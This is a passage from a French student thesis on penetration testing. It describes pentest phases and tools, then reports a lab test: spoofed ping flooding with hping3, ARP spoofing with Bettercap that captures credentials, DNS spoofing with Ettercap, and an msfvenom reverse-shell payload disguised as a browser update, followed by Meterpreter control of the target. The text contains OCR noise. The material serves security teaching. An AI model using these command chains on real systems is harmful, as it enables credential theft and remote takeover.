- L’approche secréte utilise des techniques qui ne peuvent pas étre classées comme des
attaques, ce qui obscurcit davantage leur activité. Donc, seules les méthodes qui ne sont pas
directement identifiables comme des tentatives d'attaque du systéeme devraient étre employees
afin de minimiser les alertes du systéme.

- L’approche manifeste peut impliquer des methodes, telles qu'une analyse approfondie
des ports, et doit étre effectuée en collaboration avec les équipes internes responsables du
systeme. Des tests manifestes doivent étre déployés lorsque I'approche secréte ne parvient pas
a générer un résultat.

4.5 Technique

La plupart des systémes sont attaqués sur des réseaux informatiques ou a l'aide d'un
ordinateur mal configuré ou a l'aide d'autres types d'attaques physiques et de techniques
d'ingénierie sociale. Ces techniques sont décrites ci-dessous :

- Les tests de pénétration basés sur le réseau, (les tests de pénétration basés sur IP), sont
la procédure de test la plus courante. Le testeur tente d'exploiter les vulnérabilités des
systemes d'exploitation, des protocoles réseau et des systemes d'application sur un réseau.

- Technique d'attague physique qui permet aux testeurs d'analyser les données sur des
hdtes non protégés par mot de passe aprés avoir obtenu un acces non autorisé a un périmetre
organisationnel. Par conséquent, en cas dattaque physique, il est relativement facile de

contourner le systéme physique tout en obtenant les données souhaitées.
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- Technique d'ingénierie sociale est l'art d'exploiter la faiblesse humaine afin d'obtenir
des informations précieuses sur le systéme.
4.6 Emplacement de pentester

L’emplacement de pentester détermine la source des attaques liées au systéme

d'information cible. Cela pourrait I'un des scénarios suivants :
4.6.1 Test de pénétration interne

Un test de pénétration interne identifier les vulnérabilités et évalue 1’impact d’une menace
provenant a l’intérieur de I’entreprise par un employé malveillant. Dans ce type de test, le
testeur n'a normalement pas a surmonter les pare-feu ou les contréles d'entrée pour accéder
aux réseaux internes. Ainsi, un test de l'intérieur peut évaluer les effets d'une erreur dans la
configuration du pare-feu, ou d'une attaque réussie sur le pare-feu ou d'une attaque par des

personnes ayant acces au réseau interne.
4.6.2 Test de pénétration externe

Un test de pénétration externe permet de détecter et d'évaluer le risque potentiel des
attaques organisees via la connexion du réseau a Internet. Généralement, le pare-feu, et les

systémes dans le DMZ et les connexions RAS sont étudiés dans ces tests.

| Test d'intrusion
interne

P il
Q% —<

Serveur E-mail

Figure 2. 2 Test de pénétration interne /externe.
5. Phases d’un test de pénétration
p

Les tests de pénétration consistent en sept phases différentes. [11]Sont comme suite :
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Figure 2. 3 Les phases de test de pénétration. [11]

5.1 Pre-engagement

C'est l'une des étapes les plus importantes du cycle de vie de tests de pénétration. En fait,
c'est la que nous allons conclure des contrats avec nos clients. Dans ce contrat, il y aura un
périmétre de test, qui definira ce que nous avons le droit de tester. Nous déterminerons
également les attentes et les objectifs du client. Pour les testeurs d'intrusion, il s'agit également
de s'assurer que les contrats sont en place nous dégage de toute responsabilité et est conforme
a la loi. [12]
5.2 Collection d’informations

Dans cette phase, le pentester recueille des informations et analyse des sources
d'informations librement disponibles. Le processus est connu sous le nom d'intelligence open
source (OSINT). A ce moment que le pentester commence a utiliser différents outils tels que
les scanners de ports pour cartographier le réseau et mieux comprendre le réseau interne et/ou
externe. Dans cette phase, le pentester explorera également les différents logiciels trouvés sur

le réseau. [11]Figure 2.4 montre les différentes informations collectées lors de cette phase :
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Figure 2. 4 Reconnaissance passive et active [13]

Pour réussir la collecte d'informations, vous devez avoir une stratégie typique doit inclure

a la fois une reconnaissance active et passive.

5.3 Modélisation de menace

La modélisation des menaces est basee sur les informations recueillies lors de la phase de
collecte d'informations. Dans cette phase, le pentester pense comme un attaquant. Les plans
d'attaque seront élaborés ainsi que les stratégies sur la facon de pénétrer les systéemes de
l'organisation. [11]
5.4 Analyse des vulnérabilités

Dans la phase d'analyse des vulnérabilités, le pentester commence a découvrir activement
différentes vulnérabilités. Lorsque des vulnérabilités sont découvertes, le pentester peut
déterminer le succés de différentes stratégies d'exploitation. Le scanner de vulnérabilités
utilise une base de données de vulnérabilités et une série de Vérifications agressives pour
identifier les vulnérabilités existantes dans le systéme client. Si cette étape échoue, le risque
d'injecter de mauvais exploits augmente et lorsque les exploits échouent, ils peuvent planter
des services et déclencher des alertes de détection d'intrusion. Un autre outil important qu'un
pentester devrait avoir est la pensée critique. L'analyse manuelle et la vérification des résultats

constituent une partie importante de I'analyse de vulnérabilité. [11]
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5.5 Exploitation

C'est I'étape la plus intéressante du processus que font les pentesters. Il exploite diverses
vulnérabilités identifiées dans la phase précédente. L'un des objectifs de cette phase est
d'obtenir autant d'accés administratifs que possible. [12]
5.6 Post-exploitation

Dans cette phase, les pentesters essaie de creuser un peu plus en recueillant des
informations par installer un acces sur le systeme (payload /backdoor) par ex. pour rechercher
des fichiers intéressants et essayer d'élever les privileges ...etc. Il s'agira ici de documenter
différentes techniques (méthodes) utilisées pendant 1’exploitation. Il peut s'agir par exemple
d'une liste des appareils consultés avec leurs vulnérabilités, les outils utilisés,... etc. C'est
important de prendre en charge diverses attaques avec des captures d'écran pour démontrer
différentes vulnérabilités. Une des actions importantes de cette étape est le nettoyage. En
effet, il est nécessaire de supprimer tous les scripts et les outils utilisés dans la phase
d’exploitation. Si les paramétres ont été modifiés, ils devront étre restaures. Comme la
premiere fois. En gros, il s'agira de remettre la machine dans le méme état que le pentester I’a
emprunté. [12]
5.7 Rapport

Dans cette phase, le pentester fait un rapport a l'organisation. Il doit étre fourni de maniere
significative, indiquant ce qui doit étre ameélioré, comment le pentester est entré dans le
systéme, ce qui a été trouvé dans le réseau de I'organisation, comment résoudre les problemes

découverts, etc. Le rapport doit inclure un résumeé analytique et un rapport technique. [11]
6. Outils liés aux tests de penétration

6.1 Parrot OS

Une distribution GNU/Linux gratuite et open source basée sur Debian Stable, congcue pour
les professionnels de la sécurité, les développeurs et les personnes soucieuses de la
confidentialité. Il contient une arme portable complete pour la sécurité informatique et les
opérations de criminalistique numérique. Il comprend également tout ce dont vous avez
besoin pour développer vos propres programmes et protéger votre vie privée lorsque vous
surfez sur Internet.

Parrot est disponible en trois éditions principales (Sécurité, Familiale et Architecte).Et
également disponible pour les machines (virtuelles). Il existe plusieurs distributions de parrot

parmi eux la distribution Pentest est connue pour intégrer des outils de sécurité, permettant un
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acces root facile et supprimant simplement les barriéres du systeme de sécurité qui peuvent

affecter le flux de travail d'un pentester. [14]

6.2 Nmap

Une utilitaire open source gratuite et il s'exécute a partir d'une invite de commande. Il peut
étre utilisé pour les contrdles de securité et la détection de réseau. Nmap utilise des paquets IP
bruts de maniere innovante pour déterminer quels hétes sont disponibles sur le réseau, quels
services ces hétes offrent, quels systemes d'exploitation ils exécutent, quel type de filtres de
paquets/pare-feu sont en cours d'utilisation, et des dizaines d'autres caractéristiques. Nmap
peut facilement scanner de grands réseaux ou juste un seul héte C'est un outil trés puissant et

bien soutenu par une communauté active d'utilisateurs et de développeurs. [14]

6.3 Wireshark

Un analyseur reseau gratuit et a source ouverte. 1l s'agit d'un logiciel capable de capturer des
paquets de données a partir de connexion réseau privé ou public. Vous avez également la
liberté de visualiser et de manipuler le trafic circulant sur votre réseau en temps reel.
Wireshark peut étre utilisé pour depanner les réseaux avec des probléemes de connectivité et
de performances. Il donne également aux professionnels de la cybersécurité et aux enquéteurs

sur la cybercriminalité la possibilité de surveiller les connexions réseau. [15]

6.4 Ettercap

Une suite compléte pour des attaques MITM. Il propose une détection des connexions en
direct, un filtrage de contenu a la volée et de nombreuses autres astuces intéressantes. 1l prend
en charge la dissection active et passive de nombreux protocoles et comprend de nombreuses
fonctionnalités pour l'analyse du réseau et de I'h6te. En tant qu'outil de reniflage, est similaire
a Dsniff en ce sens qu'il peut renifler le trafic et rechercher des types spécifiques
d'informations d'identification pour des types de protocoles spécifiques (par exemple, les mots
de passe de messagerie). En tant qu'outil d'attaque intermédiaire, a la capacité d'exécuter des
attaques d'usurpation ARP, ICMP, DNP. [16]

6.5 Metasploit framework

Est une plateforme de test de pénétration modulaire basée sur Ruby qui vous permet
d'écrire, de tester et d'exécuter du code d'exploitation. Le framework Metasploit contient une
suite d'outils que vous pouvez utiliser pour tester les vulnérabilités de sécurité, énumérer les

réseaux, exécuter des attaques et échapper a la détection. A la base, Metasploit Framework est
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une collection d'outils couramment utilisés qui fournissent un environnement complet pour les
tests de pénétration et le développement d'exploits. [17]
6.6 Hping

Un analyseur de paquets TCP/IP orienté ligne de commande. Cette interface est inspirée de
la commande Unix ping, mais peut faire plus que simplement envoyer des requétes d'écho
ICMP. Tout paquet TCP/IP peut étre utilisé a diverses fins. Cela implique I'envoi de paquets
ICMP ou TCP a un héte distant et la mesure du temps nécessaire a I'hdte pour répondre. Peut-
étre utilisé dans Tester des régles de pare-feu, Analyse avancée des ports en alternative
a nmap et autres fonctionnalités. [18]

7. Conclusion

Ce chapitre, nous avons consacré a la présentation de test de pénétration incluant son
deéfinition, ses objectifs, phases, classification, et on a donné par la suite quelques outils de
test de pénétration existants. Le chapitre suivant sera consiste a la réalisation d’un test de

pénétration.
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CHAPITRE 3

CAS D’UTILISATION

1. Introduction

Un test de pénétration réussi dépend de la méthodologie utilisée et des différents outils
de sécurité déployés en son sein. Dans ce chapitre nous commengons par présenter
I'environnement de travail pour le développement du test de pénétration a effectuer, suivi par
la méthodologie et les outils utilisées.

Ensuite, nous montrons quelques captures d’écran du groupe d’attaques que nous avons
menées, de sorte que chacune soit suivie des solutions de sécurité contre cette attaque.

Enfin, il y aura une mise en place d’un outil de pénétration que nous avons programme.
2. Environnement de travail

Deux ordinateurs portables ont été utilisés pour créer l'environnement de test de
pénétration. Les deux ordinateurs portables étaient connectés via un réseau WIFI avec des
adresses IP dynamiques a l'aide d'un serveur DHCP. Les deux ordinateurs portables ont un
systeme d'exploitation installé. L’un des ordinateurs portables utilisé pour effectuer les tests
de pénétration, avait Parrot installé et ’autre ordinateur portable avait installé Windows 10 et

a servi de machine cible pour ’ensemble du test.

)

Figure 3. 1 Environnement de travail.

La machine cible simulait un environnement informatique en réseau, mais le concept de
défense en profondeur a été envisagé. Cela signifie que la machine cible ne dispose d'aucun
mécanisme de défense tel que des pare-feu ou des IDS installés. Cette considération était

intentionnelle, car l'inclusion de mécanismes d'atténuation irait a I'encontre de l'objectif
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méme de cette fonctionnalité, et il est souvent plus facile d'exécuter un systeme ou un réseau

sans pare-feu ou IDS.

Caractéristiques du matériel utilisé :

» La machine de Pentest
Processeur: Intel® Pentium(R) CPU B960 @ 2.20 GHz *2
RAM : 10 GB
» La machine cible
Processeur: Intel(R) Core (TM) i5-7300U CPU @ 2.60GHz 2.70 GHz
RAM : 8 GB

3. Méthodologie de travail

On se qui concerne notre test de pénétration, nous avons proposé une méthode d'essai de

pénétration progressive. Comme montre Figure 3.2.

collection
d'information $ Exploitation $ Post-exploitation $ Rapport

Figure 3. 2 La déemarche utilisée dans le test de pénétration.

4. Outils de travail

Pour réaliser nos tests de pénétration, nous avons choisi a travailler sur Parrot qui est une
distribution gratuite de GNU/Linux et qui contient plusieurs outils destinés a diverses taches

de sécurité.
Les principaux outils de Parrot qui nous avons utilisé sont :

e Metasploit Framework (MSF) : Un ensemble d'outils et de composants logiciels
congus pour ce faire Facilite l'exécution des tests de pénétration. Ces outils

comprennent :
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- Msfconsole : L'interface la plus populaire pour le Metasploit Framework
(MSF). Cela fournit une console "tout-en-un" centralisée, permettant un acces
efficace a pratiquement toutes les options disponibles dans MSF. Cet outil peut
executer plusieurs fonctions simultanément (ex : scanner un réseau et lancer
une attaque).

- Meterpreter : Un payload qui fournit un shell interactif dans lequel un
attaquant peut explorer la machine cible et exécuter du code.

- Msfvenom: Un générateur de payload autonome qui fait partie de la suite
Metasploit.

Nmap : Outil de découverte de réseau et scanner de port/sécurite.

Netdiscover : Un outil permet de lister lI'ensemble des ordinateurs en ligne,

connectés sur le réseau local.

Hping3 : Outil réseau capable d'envoyer des paquets ICMP/UDP/TCP/IP

personnalisés et d'afficher les réponses cibles comme le fait Ping avec les reponses

ICMP.

Bettercap : Un outil puissant, flexible et portable congu pour effectuer divers

types d'attaques MITM contre un réseau, manipuler le trafic HTTP, HTTPS et

TCP en temps réel, détecter les informations d'identification, et bien plus encore.

Ettercap : Un outil qui est capable d'analyser et de capturer le trafic, d'intercepter

des mots de passe, et d’effectuer des intrusions de type MITM sur un réseau local.

Tcpdump : Un outil de ligne de commande qui vous permet de capturer et

d'analyser le trafic visible depuis une interface réseau.

5. Réalisation du test de pénétration

Nous entamons maintenant la partie réalisation, dans laquelle nous allons arborer les

procédures a suivre pour effectuer notre test de pénétration interne suivis de quelques captures

d'écran illustrant les résultats et des solutions de sécurité.

5.1 Collection des informations

Nous avons utilise premiérement la commande ifconfig pour voir 1’adresse de notre

machine de pentest.
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AST,RUNNIN

Figure 3. 3 L’adresse IP de la machine de pentest.

Ensuite, a I’aide de la commande netdiscover nous avions pu récupérer les adresses IP des

machines connectées sur notre réseau.

‘rently scanning: Finished!
12 Captured ARP Req/Rep packets,

AT MA

Figure 3. 4 Les adresses IP des machines connectées sur le réseau.

Et pour obtenir plus d’informations sur les machines connectées avec nous dans le réseau.
Nous avons utilisé la commande nmap —sS —O —T5 192.168.8.0/24.
-Ss permet deffectuer un scan furtif (slealth SYN scan) sur toutes les machines de notre
réseau 192.168.8.0.
-0 permet la visualisation du systéeme d'exploitation des machine interceptées.

-T5 la vitesse maximale du scan.
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Figure 3. 5 Résultat du scan du réseau.

Aprés avoir terminé le scan approfondi des machines connectées dans le réseau, nous avons

choisi la machine « 192.168.8.103 » comme machine cible.

5.2 Exploitation
e |P Spoofing

Dans cette attaque, nous enverrons des requétes Ping a un systéme cible, mais nous
tromperons ensuite le systeme cible pour qu'il répond a un autre systéme en usurpant notre

adresse IP.

Comme indiqué ci-dessous, nous avons utilisée la commande route —n pour connaitre
I'adresse IP de la passerelle par défaut de notre machine, puis en a utilisé la passerelle par

défaut comme systeme cible.

Figure 3. 6 L’adresse IP de la passerelle par défaut.
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La commande route affiche la table de routage du systéme. L'IP de la passerelle par défaut
de ce systéme est 192.168.8.1, et I'IP 0.0.0.0 indique que tous les paquets IP en dehors du
réseau local (dans ce cas, le réseau 192.168.8.0) seront transmis a I'lP 192.168.8.1.

Maintenant, envoyons six paquets a la cible avec le drapeau SYN activé, en tapant la
commande suivante : hping3 -S < Target IP > -c6

-C représente le nombre de paquets a envoyer.
-S active l'indicateur SYN TCP.
Nous avons envoyeé six paquets et recu six paquets de machine cible, comme illustré dans

Figure 3.6.

Figure 3. 7 Résultat d’envoi des paquets avec hping3.
Nous avons envoyé des paquets TCP avec le flag SYN (192.168.8.105.2376 >
192.168.8.1.0 : Flags [S]) et la cible répond avec lindicateur RST (192.168.8.1.0 >
192.168.8.105.2376 : Flags [R.]), ce qui signifie une déconnexion anormale de session. Dans

la sortie, les nombres qui suivent les adresses IP sont des numéros de port.

Nous avons utilisé la commande tcpdump host <Target IP> -nnS, Comme indiqué ci-

dessous :

Figure 3. 8 Résultat d’envoi des paquets avec tcpdump.

Maintenant nous répétons la méme expérience en usurpant l'adresse IP de notre ordinateur.
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Cette fois, nous avons envoyé six paquets, mais nous n‘avons regu aucune réponse de leur

part (perte de paquets a 100 % !), comme le montre I'image ci-dessous. Notez que I'adresse IP

usurpée est 192.168.8.109 dans cet exemple

Figure 3. 9 Résultat d’envoi des paquets avec hping3 aprés 1’usurpation d’adresse IP

Pour comprendre ce qu’il est devenu des paquets envoyé nous devons examiner la sortie de

tcpdump.

Comme indiqué ci-dessous. La premiere observation est : le systeme cible suppose que les
paquets proviennent de 192.168.8.109. (192.168.8.109.2895 > 192.168.8.1.0 : Indicateurs[S]).
Par conséquent, le systeme cible répond a 192.168.1.41 et envoie ARP requétes pour trouver
I'adresse MAC de cet hote (la mauvaise cible). Malheureusement, l'adresse IP usurpée n'est

pas dans le réseau et aucun héte ne répond a la requéte ARP.

Figure 3. 10 Résultat d’envoi des paquets avec tcpdump aprés I’usurpation d’adresse IP.

Maintenant nous utilisons l'usurpation d'adresse IP avec une inondation de Ping pour
rendre un hote insensible ou trés lent.
Nous enverrons des requétes Ping a l'adresse IP cible, mais nous usurperons l'adresse

source comme suit. hping3 -1 --flood —a <Target IP> -a <Spoofed IP>.
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Figure 3. 11 L’envoi des requétes Ping.

-1 option est d'envoyer une requéte ICMP (ou une requéte Ping).
L'option --flood envoie de nombreux paquets en peu de temps.

Pour voir les paquets envoyés, nous avons lancé 1’outil Wireshark. Comme illustré dans

Figure 3.12.

Fichier Editer Wue Aller Capture Analyser Statistiques Telephonje Wireless Outils Aide

| (1 @ X & 61 - =y - = (:k (:k C:k ][E
Ctr -] +
Source Destination Protocol Length Info =
.B91779716 by ofils request 1d=0xT98c, seq=32478/54918,

7578.. 727.091790994 192.168.8.109 192.168.8.1063 ICMP 42 Echo (ping) request id=0xf98c, seq=32726/54911, ttl
7578.. 727.091802114 192.168.8.109 192.168.8.1063 ICMP 42 Echo (ping) request id=0xf98c, seq=32982/54912, ttl
7578.. 727.091813181 192.168.8.109 192.168.8.1063 ICMP 42 Echo (ping) request id=0xf98c, seq=33238/54913, ttl
7578.. T27.091824206 192.168.8.109 192.168.8.103 IcmMp 42 Echo (ping) request 1d=@xT98c, seq=33494/54914, ttl
7578.. 727.091835453 192.168.8.109 192.168.8.103 ICMP 42 Echo (ping) request 1d=@xT98c, seq=33750/54915, Tl
7578.. 727.091846586 192.168.8.109 192.168.8.1063 ICMP 42 Echo (ping) request id=0xf98c, seq=34006/54916, ttl
7578.. 727.091858498 192.168.8.109 192.168.8.103 ICMP 42 Echo (ping) request id=0xf98c, seq=34262/54917, ttl
7578.. 727.091869694 192.168.8.109 192.168.8.1063 ICMP 42 Echo (ping) request id=0xf98c, seq=34518/54918, ttl
7578.. 727.091880944 192.168.8.109 192.168.8.1063 ICMP 42 Echo (ping) request 1id=0xf98c, seq=34774/54919, ttl
7578.. T27.091892060 192.168.8.109 192.168.8.103 IcmMp 42 Echo (ping) request 1id=@xT98c, seq=35030/54928, ttl
7578.. 727.091983172 192.168.8.109 192.168.8.1063 ICMP 42 Echo (ping) request id=@xT98c, seq=35286/54921, til
7578.. 727.091914130 192.168.8.109 192.168.8.1063 ICMP 42 Echo (ping) request id=@xf98c, seq=35542/54922, ttl
7578.. 727.091925218 192.168.8.109 192.168.8.103 ICMP 42 Echo (ping) request id=0xf98c, seq=35798/54923, ttl
7578.. 727.091936351 192.168.8.109 192.168.8.1063 ICMP 42 Echo (ping) request id=@xf98c, seq=36054/54924, ttl
7578.. 727.091947230 192.168.8.109 192.168.8.1063 ICMP 42 Echo (ping) request id=xf98c, seq=36310/54925, ttl
7578.. T27.091958290 192.168.8.109 192.168.8.103 IcmMp 42 Echo (ping) request 1id=@xT98c, seq=-36566/54926, ttl
7578.. 727.091969335 192.168.8.109 192.168.8.1063 ICMP 42 Echo (ping) request id=@xT98c, seq=3G6822/54927, til
7578.. 727.091980744 192.1G68.8.109 192.168.8.1063 ICMP 42 Echo (ping) request id=@xf98c, seq=37078/54928, ttl
7578.. 727.091991842 192.168.8.109 192.168.8.103 ICMP 42 Echo (ping) request id=0xf98c, seq=37334/54929, ttl
7578.. 727.092003452 192.168.8.109 192.168.8.103 ICMP 42 Echo (ping) request id=0xf98c, seq=37598,/54930, ttl
7578.. 727.092014656 192.168.8.109 192.168.8.1063 ICMP 42 Echo (ping) request 1id=0xf98c, seq=37846/54931, ttl
7578.. T27.092025734 192.168.8.109 192.168.8.103 ICMP 42 Echo (ping) request 1d=@xT98c, seq=38182/54932, ttl
7578.. 727.092037129 192.168.8.109 192.168.8.1063 ICMP 42 Echo (ping) request id=@xT98c, seq=38358/54933, til
7578.. 727.092048192 192.168.8.109 192.168.8.1063 ICMP 42 Echo (ping) request id=@xf98c, seq=38614/54934, ttl
7578.. 727.092060584 192.168.8.109 192.168.8.103 ICMP 42 Echo (ping) request id=0xf98c, seq=388708/54935, ttl
7578.. 727.092072208 192.168.8.109 192.168.8.103 ICMP 42 Echo (ping) request id=0xf98c, seq=39126/54936, ttl
7578.. 727.092083710 192.168.8.109 192.168.8.1063 ICMP 42 Echo (ping) request 1id=0xf98c, seq=39382/54937, ttl
7578.. T27.0920894721 192.168.8.109 192.168.8.103 ICMP 42 Echo (ping) request 1d=@xT98c, seq-39638/54938, ttl
7578.. 727.092185912 192.168.8.109 192.168.8.1063 ICMP 42 Echo (ping) request id=@xT98c, seq=39894/54938, til
7578.. 727.092117206 192.168.8.109 192.168.8.1063 ICMP 42 Echo (ping) request id=0xf98c, seq=40158/5494@, ttl
7578.. 727.092128317 192.168.8.109 192.168.8.1063 ICMP 42 Echo (ping) request id=0xf98c, seq=40406/54941, ttl
7578.. 727.092139832 192.168.8.109 192.168.8.103 ICMP 42 Echo (ping) request id=0xf98c, seq=-40662/54942, ttl
7578.. 727.092151805 192.168.8.109 192.168.8.103 ICMP 42 Echo (ping) request 1d=@xT98c, seq=40918,/54943, ttl
7578.. T27.092163225 192.168.8.109 192.168.8.103 ICMP 42 Echo (ping) request 1d=@xT98c, seq=41174/54944, ttl
7578.. 727.092174504 192.168.8.109 192.168.8.1063 ICMP 42 Echo (ping) request id=@xfT98c, seq=41430/54945, til~

4 »

» Frame 7578857: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface wlan@, id @

d@ 37 45 81 39 2c 42 e9 4e 24 56 TO 08 00 45 00 7E-9,B
0 7 wlan0: <live capture in progress> Paquets: 7579282 - Affichés: 7579282 (100.0%) = Profile: Default

Figure 3. 12 Capture des paquets envoyés.

Et pour assurer que notre attaque est bien réussite, nous ouvrons le gestionnaire des taches

de la machine cible.
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Processeur Intel(R) Core(TM) i5-7300U CPU @ 2.60GHz

Utilisatior Vitesse Vitesse de base 2,70 GHz
100% 3,46 GHz et ;
Pr i Thread Handle: Pro 0giq 2

268 3306 109541 viiiie peive

‘ ‘ he de nive 128 Ko
he de r 512 Ko

0:03:57:05 Cachederivenu3:  30Me
Figure 3. 13 Gestionnaire des taches de la cible.
e ARP Spoofing

Le but de cette attaque est d'envoie des messages ARP falsifiés sur notre réseau local.
Cela permet d'associer I'adresse MAC de le pentester a lI'adresse IP d'un serveur légitime sur
le réseau (dans notre cas c’est le routeur).

Une fois l'adresse MAC de le pentester connectée a l'adresse IP de le routeur, le pentester
commence a recevoir toutes les données destinées a cette adresse IP.

Avant de commencer, prenons une capture d’écran du table ARP de la machine cible.

=

42
=

=
No—h D

T el e e o
[= &
[ T O I Y W T W Y

=+ &
=+ W M

tatique

Figure 3. 14 Table ARP avant I’attaque

Pour réaliser cette attaque, nous avons choisi d’utiliser Bettercap. Nous ’avons d’abord
lancée avec la commande bettercap —iface wlan0, et ensuite la commande help pour voir les

modules existants. Comme indiqué ci-dessous :
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Figure 3. 15 Les modules existants

A travers la liste des modules, nous devons activé les trois modules indiqués dans Figure
3.16.

Figure 3. 16 Les modules dont nous avons besoin.
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On commance par activer le module « net.probe » en utilisant la commande net.probe on .

Comme indiqué dans Figure 3.17.

> 192.168.8.105
> 192.168.8.105 1 [
> 192.168.8.105 ] endpoint
> 192.168.8.105 ] it
> 192.168.8.105 : ey

> 192.168.8.105 [ERlgt [ ] endpoint 192

Figure 3. 17 Activation de net.prob.

Avant d’activer le module « arp.spoof», qui va nous permettre de réaliser 1’attaque.

Utilisons net.show pour nous assurer que la victime est toujours dans le réseau.

> 192.168.8.105

Figure 3. 18 Résultat de net.show.

Maintenant que nous avons confirmé que la victime est toujours dans le réseau, nous
I’activons le module « arp.spoof » .Nous utilisons d’abord la commande help arp.spoof pour
Voir les parametres existants.

Nous avons utilisé les parameétres arp.spoof.fullduplex avec la valeur « True» et
arp.spoof.targets que nous avons donné I’adresse IP de la machine cible.

Aprés nous activons I’attaque ARP Spoofing avec la commande arp.spoof on .Toutes ces

étapes sont illustrées ci-dessous :

> 192.168.8.105

19 | l=rp.spootlly
> 192.168.8.105 19:35:3¢ | i Jlarp. spoof
> 192.168.8.105 C

Figure 3. 19 Activation d’arp.spoof.
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Pour s’assurer que I’attaque a réussi, on voit la table ARP de la machine cible.

:ZWUsersh Lahmar Info>arp

ntertace : 192.168.8.183

Adresse Internet Ad b

i . . ] 12 i : namique
i namique

01-8e-5e-00-88-16
e1-ee-se-0e-ee-fb
©1-80-5e-00-88-TcC
©1-80-5e-7f-ff-fa
ff-ff-ff-FfF-Ff-Ff

[ I R T I I
|

A

Figure 3. 20 Table ARP avant I’attaque.

Et pour finir cette attaque, nous avons activé « net.sniff » avec la commande net.sniff on.

Pour capturé tous les paquets circulant dans le réseau.

Comme indiqué ci-dessous, nous pouvons voir le trafic de la victime. Nous avons

également pu obtenir son nom d’utilisateur et son mot de passe.

> 192.168.8.105
20 56

> 192.168.8.105
> 192.168.8.105
> 192.168.8.105
> 192.168.8.105
> 192.168.8.105
> 192.168.8.105
> 192.168.8.105
> 192.168.8.105
> 192.168.8.105
> 192.168.8.105
~ 102 188 A 1A=

Figure 3. 21 Résultat du Sniff.
e DNS Spoofing

La cible de cette attaque est de faire correspondre I'adresse IP d'une machine qu'il est sous

le contréle de pentester a un nom de domaine réel et valide d'une machine publique.

Nous avons choisi Ettercap comme outil pour réaliser cette attaque.
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Nous devons d’abord ouvrir le fichier « etter.dns » & I’aide de la commande sudo pluma

[etc/ettercap/etter.dns, afin de le modifier.

Comme indiqué ci-dessous nous ajoutons la line suivante *** A 192.168.8.105 qui est

permettre de redirigé tous les noms de domaine vers notre adresse IP de pentester.

:

i
i
i

e s s

%
%

Figure 3. 22 Le fichier etter.dns.

Maintenant, nous l'avons lancé Ettercap en mode graphique avec la commande Ettercap —

G. Et on commence par sélectionner l'interface réseau Wlan0.

Setup
Sniffing at startup
Primary Interface wianO
Bridged sniffing

Bridged interface

Figure 3. 23 L’interface graphique d’Ettercap.

Aprés cela, nous avons lancé un simple scan pour voir les machines connectées dans le

réseau, et nous sélectionnons la passerelle et la cible comme illustré dans Figure 3.24.
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Host List

IP Address MAC Address Description
19 EC

oTarget1

Figure 3. 24 Sélection de passerelle et la cible.

Ensuite, nous choisissons I’attaque ARP spoofing dans le menu MITM qui nous apparait
lorsque nous cliquons sur le bouton illustré dans la figure ci-dessous.

Description

Addto Targetl Addto Target2

Figure 3. 25 Activation d’ARP spoofing.

Avant d’activer le plugin « dns_spoof », qui va nous permettre de réaliser 1’attaque. Nous
devons démarrer Apache2 avec la commande sudo sevice apache2 start pour accepter le

trafic entrant.

Maintenant, nous langons I’attaque DNS spoofing en double-cliquant sur « dns_spoof »

que nous trouvons dans le menu « Mange the Plugins ».
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Add to Target 1 Add to Target 2

Figure 3. 26 Activation de DNS spoofing.

Nous effectuons maintenant une recherche dans le navigateur de la machine cible. Comme
indiqué ci-dessous, nous pouvons voir que I’attaque a réussi et que la victime a été dirigée

directement vers notre adresse IP.

D riresjour »x BoE

€« > C© @ Notsecure | Bavuns - ©

Update vour Browser

G cpdatemindons (Dexe -~ Sowas

Figure 3. 27 Résultat de la redirection de la cible

5.3 Post exploitation
Le but de cette attaque est de mettre la cible sous le contrdle de pentester. Nous avons

choisi d’utiliser les outils de Metasploit pour réaliser cette attaque.

Nous créons d’abord un payload avec Msfvenom a I’aide de la commande :
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msfvenom —p windows/meterpreter/reverse_tcp LHOST=192.168.8.105 LPORT=4444 —{
exe -0 /var/www/html/update.exe Qui signifie :

msfvenom -p : Permet de charger l'outil msfvenom

windows/meterpreter/reverse_tcp : Permet d'ouvrir un port, ex :4444 qu'on va
enregistrer dans le payload qui se chargera de connecter la victime a notre machine
par le bais de ce port.

LHOST : c’est ’adresse IP de I’attaquant.

LPORT : c’est le port que vous souhaitez utiliser.

-fexe : indique que le type de fichier, ou I’extension de fichier sera exe.

-0 : permet d'enregistrer le payload « update.exe » dans le chemin /var/www/html/

indique.

Figure 3. 28 Création de payload

Maintenant, nous avons lancé Metasploit. Nous avons utilisé la commande msfconsole —q,
puis la commande use exploit/multi/handler qui permet d'ouvrir un port et d’attendre la
connexion. Ensuite, nous avons charge le payload créé précédemment par la commande.
set payload windows/meterpreter/reverse_tcp.

A la fin, nous avons indiqué notre adresse IP par set LHOST 192.168.174.129 et le

numéro de port par set LPORT 4444. Toutes ces étapes sont illustrées ci-dessous :

Figure 3. 29 Console Metasploit
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Nous allons exécuter le payload avec la commande exploit puis attendre la connexion de la

victime.

Figure 3. 30 Attente de connexion de la machine cible

Nous avant utilisé ’attaque précédente « DNS spoofing » afin de tromper la cible pour
télécharger notre fichier, pansant qu’il est un fichier de mis a jour de navigateur (voir la figure
3.27).

Une fois que la cible clique sur le lien, la fenétre de téléchargement suivante apparait.

Figure 3. 31 Fenétre de téléchargement.

Lorsque que la cible ouvrira le fichier infecté sur son ordinateur, nous serons

immédiatement alertés qu’une connexion vient de s’ouvrir sur notre écouteur Metasploit.

Figure 3. 32 Ouverture de session.

A ce stade, nous avons un accés total sur 1’ordinateur de la cible sans que celle-ci ne s’en
rende compte, et ainsi nous pouvons effectuer plusieurs opérations sur sa machine. Voici

quelques opérations qui nous avons effectué.
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Pour la premiére opération, nous avons utilisé la commande sysinfo qui nous donne des

informations sur le systeme cible. Comme indiqué ci-dessous.

Figure 3. 33 Informations sur le systeme la machine cible.

Puis, nous avons utilisé la commande screenshot qui nous permet de faire capture d’écran

de la machine de la cible.

Figure 3. 34 Prendre une capture d’écran de la cible.

Figure 3.35 suivante montre la capture d’écran que nous prise.

Figure 3. 35 Capture d’écran de la cible.

Ensuite, nous avons utilisé la commande screeshare qui partage 1’écran de la cible.
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screenshare

b
Opening player at: /home/nihad/hiAwlTiy.html
Streaming. ..

Figure 3. 36 Partage I’écran de la cible.

A la fin, nous avons ouvert le disque local de la cible avec la commande cd D : . Et la

commande Is pour voyons tous les fichiers qu’il contient.

7:49:45 +010 $RECYCLE.BIN
:29:54 +010 S em Volume Informatio

:59:07 +010

Figure 3. 37 Ouverture de disque local de la cible.

Et a partir des fichiers qui nous sont apparus, nous avons téléchargé un fichier sur la

